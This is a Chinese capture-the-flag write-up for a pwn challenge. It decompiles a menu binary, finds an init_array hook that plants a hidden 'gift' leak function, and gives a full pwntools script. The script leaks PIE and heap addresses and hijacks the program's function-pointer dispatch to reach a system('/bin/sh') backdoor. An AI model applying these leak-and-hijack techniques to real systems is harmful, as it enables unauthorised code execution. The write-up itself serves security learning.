在考试的时候没有做出来,考完后和老曹交流学会了,主要卡住的点,是走错了方向,一直在考虑堆的漏洞怎么利用,其实不是堆的漏洞,怎么说呢,其实是一个知识点的事,init_array这个节,会进行一些初始化操作,不知道确实很难搞…不过其实也不是没有办法,其实可以进行一些全局搜索之类的,寻找线索.
题目文件: 本链接加attachments.tar.gz
解题思路
寻找对应函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| __int64 __fastcall main(const char *a1, char **a2, char **a3) { int v4; unsigned __int64 v5;
v5 = __readfsqword(0x28u); ((void (__fastcall *)(const char *, char **, char **))sub_14A9)(a1, a2, a3); while ( 1 ) { ((void (__fastcall *)(const char *))sub_1531)(a1); printf("choice: "); a1 = "%d"; __isoc99_scanf("%d", &v4); if ( v4 == 4 ) break; if ( v4 <= 0 ) exit(1); ((void (*)(const char *, ...))((char *)*(&off_5000 + v4 - 1) + 0xDEADBEEFLL))("%d", &v4); } return 0LL; }
unsigned __int64 sub_1531() { unsigned __int64 v1;
v1 = __readfsqword(0x28u); puts("1. add"); puts("2. delete"); puts("3. edit"); puts("4. exit"); return v1 - __readfsqword(0x28u); }
|
一上来看sub_1531是能看到菜单的,但是很明显,下面没有对应的函数,就感到很奇怪了,(其实下次可以直接在ida的函数列表里找,如果不是花指令的话,花指令的话,还是直接看汇编,看有没有红色的代码)
当时是在gdb中动态调试找到的对应的函数
同时发现了一个gift函数,用来泄露地址的,还发现了一个后门函数,可以直接getshell,于是现在的问题就变成了怎么执行这个后门函数呢? 也就是怎么劫持控制流, 覆盖返回地址 or 利用堆进行任意内存读写, 似乎 都不太行…于是就卡住了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| unsigned __int64 sub_1206() { void *v0; unsigned __int64 v2;
v2 = __readfsqword(0x28u); puts("Ok, you find the gift"); v0 = malloc(0LL); printf("%#lx, %#lx, %#lx\n", sub_1206, &write, v0); return v2 - __readfsqword(0x28u); }
unsigned __int64 sub_11C9() { unsigned __int64 v1;
v1 = __readfsqword(0x28u); system("/bin/sh"); return v1 - __readfsqword(0x28u); }
|
柳暗花明差一村
1 2 3 4 5
| ((void (*)(const char *, ...))((char *)*(&off_5000 + v4 - 1) + 0xDEADBEEFLL))("%d", &v4);
.data:0000000000005000 off_5000 dq 0FFFFFFFF21525389h ; DATA XREF: main+A0↑o .data:0000000000005008 dq 0FFFFFFFF21525477h .data:0000000000005010 dq 0FFFFFFFF21525518h
|
当时在main函数中,看到了这个,也理解了off_5000是data节中的数据,利用这里的数据进行一些运算,然后就到达了函数地址,例如0位置,运算后就是add函数的位置,但是 gift和后门函数,都在内存中没有这个偏移,堆虽然可以写,但是不知道堆的地址呀,但gift可以泄露,但gift怎么调用呢?? 于是就卡死了………
其实这里可以尝试爆破的…(我觉得),后面有时间可以试试
于是就在这里卡死了…就像开头提的一样,其实在init_array中有初始化这个操作,保存了gift对应的地址,怎么说呢…应该让自己多学一点工具,辅助自己去探索可能的路径
正解
elf执行时会先走这个init,这里面有个sub_144E,就是它把gift函数加载进去了,能够看到,它加载到的地址的偏移就是0x29C0
&0xFFFFFFFFFFFFF000LL是干了啥呢? 与之后就是程序0x5000的位置,是为了得到这个位置,然后+0x29C0就是存储gift的地方
不过这里为啥是0xDEADBF61LL,这是什么逻辑,后面在main中要+0xDEADBEEFLL,
所以0x1278 - 0xDEADBF61 +0xDEADBEEF = 0x1206,就是gift的地址,所以这个地址应该是这个原因,因为要考虑到pie,所以要用一个函数或者变量的地址,这里用了0x1278的, 和它差多少呢? 就是 0x1206 - 0xDEADBEEF-0x1278,也就是-0xdeadbf61
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| .init_array:0000000000003D60 ;org 3D60h .init_array:0000000000003D60 off_3D60 dq offset sub_11C0 ; DATA XREF: LOAD:0000000000000168↑o .init_array:0000000000003D60 ; LOAD:00000000000002F0↑o .init_array:0000000000003D68 dq offset sub_144E .init_array:0000000000003D68 _init_array ends .init_array:0000000000003D68 unsigned __int64 sub_144E() { unsigned __int64 v1;
v1 = __readfsqword(0x28u); *(_QWORD *)(((unsigned __int64)&unk_5018 & 0xFFFFFFFFFFFFF000LL) + 0x29C0) = (char *)sub_1278 - 0xDEADBF61LL; return v1 - __readfsqword(0x28u); }
|
所以就可以先通过调用gift来进行泄露地址,0x29C0 = 10688 , 10688/8 = 1336,这是因为指针的偏移,按照char类型来算????? 是吗?
因为在main中还有个-1,所以是1337,输入1337就可以调用gift了!
最终步骤
1 2 3
| choice: 1337 Ok, you find the gift 0x5557ed770206, 0x7f1094c79d80, 0x5557eea752a0
|
之前取这些数据的时候老出问题…….
先把前面的数据接收了,然后再接收三个值,怎么接收呢,可以按照长度来,但是感觉比较der,还是看老曹的..recvline之后strip去掉最后的空格,然后decode解码,然后通过”, “分割,这样gift就成了数组, 0 1 2 对应着三个值,就可以了!
1 2 3 4 5 6
| gift = (p.recvline().strip()).decode().split(', ') pie = int(gift[0], 16) - 0x1206
leak_heap_addr = int(gift[2], 16)
vul_addr = leak_heap_addr + 0x20
|
然后把后门地址写入堆地址,此时也有堆的地址了,再次利用main函数中的调用逻辑,调用就可以了
1 2 3 4 5 6 7 8 9
| backdoor_addr = pie + 0x11c9
p.recvuntil('choice: ') p.sendline('1') p.recvuntil('content: ') p.send(p64(backdoor_addr - 0xdeadbeef))
trigger_input = (vul_addr - pie - 0x5000)
|
//是整除的意思
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| from pwn import *
elf = "./pwn"
context.log_level= "debug"
p = process(elf) p =remote("xxxxx", xxx) context.terminal = ['tmux', 'splitw', '-h']
p.sendlineafter('choice: ', str(1337)) p.recvuntil('Ok, you find the gift\n')
gift = (p.recvline().strip()).decode().split(', ') pie = int(gift[0], 16) - 0x1206
leak_heap_addr = int(gift[2], 16)
vul_addr = leak_heap_addr + 0x20
backdoor_addr = pie + 0x11c9
p.recvuntil('choice: ') p.sendline('1') p.recvuntil('content: ') p.send(p64(backdoor_addr - 0xdeadbeef))
trigger_input = (vul_addr - pie - 0x5000) // 8 + 1
p.recvuntil('choice: ') p.sendline(str(trigger_input))
p.interactive()
|
待解决
这个题如果正向写代码,要怎么写呢?
ida一开始进去不是main而是…这里是否…